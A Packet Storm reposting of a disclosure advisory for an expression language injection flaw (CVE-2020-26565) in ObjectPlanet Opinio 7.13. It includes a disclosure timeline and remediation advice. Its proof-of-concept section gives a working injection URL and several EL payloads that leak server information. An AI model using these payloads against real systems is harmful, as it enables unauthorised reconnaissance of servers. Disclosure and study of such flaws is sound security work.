exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ObjectPlanet Opinio 7.13 Expression Language Injection

ObjectPlanet Opinio 7.13 Expression Language Injection
Posted Jul 30, 2021
Authored by Daniel Tan, Khor Yong Heng, Timothy Tan, Yu Enhui

ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.

tags | exploit
advisories | CVE-2020-26565
SHA-256 | a3eb218a2f08f0bd814466c67083d00a77e140446ee2dfeedea41ff480fbbb9f

ObjectPlanet Opinio 7.13 Expression Language Injection

Change Mirror Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26565

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection

# 3. Proof of Concept

### Expression Language Injection leading to sensitive information disclosure ###

Step 1:

URL: /opinio/admin/permissionList.do?userId=1&from=$%7b7%2a7%7d
Payload: ${7*7} - URL encoded

The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the loaded page source which executed the URL encoded payload to return 49

This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of payloads that executed successfully are:
- ${pageContext.request.serverName} - returned server name
- ${pageContext.serveletContext.serverInfo} - returned server information
- ${pageContext.servletConfig.class} - returned information about the Apache server

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

-------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close